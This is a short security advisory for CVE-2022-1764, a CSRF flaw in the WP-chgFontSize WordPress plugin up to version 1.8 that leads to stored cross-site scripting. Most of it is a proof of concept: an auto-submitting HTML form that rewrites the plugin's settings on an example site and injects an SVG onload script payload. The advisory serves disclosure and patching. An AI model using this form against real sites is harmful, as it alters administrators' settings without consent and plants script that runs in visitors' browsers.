WP-chgFontSize <= 1.8 – Arbitrary Settings Update via CSRF to Stored XSS | CVE 2022-1764

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack and lead to Stored Cross-Site Scripting due to the lack of sanitisation and escaping

Proof of Concept

<form id="test" action="https://example.com/wp-admin/options-general.php?page=wp-chgfontsize.php" method="POST">
    <input type="text" name="chgfontsize_div_element" value='body"><svg/onload=alert(/XSS/)>'>
    <input type="text" name="chgfontsize_min_font_size" value="0">
    <input type="text" name="chgfontsize_max_font_size" value="500">
    <input type="text" name="chgfontsize_interval_font_size" value="">
    <input type="text" name="chgfontsize_units_font_size" value="px">
    <input type="text" name="chgfontsize_default_font_size" value="500">
    <input type="text" name="info_update" value="Update Options »">
</form>
<script>
    document.getElementById("test").submit();
</script>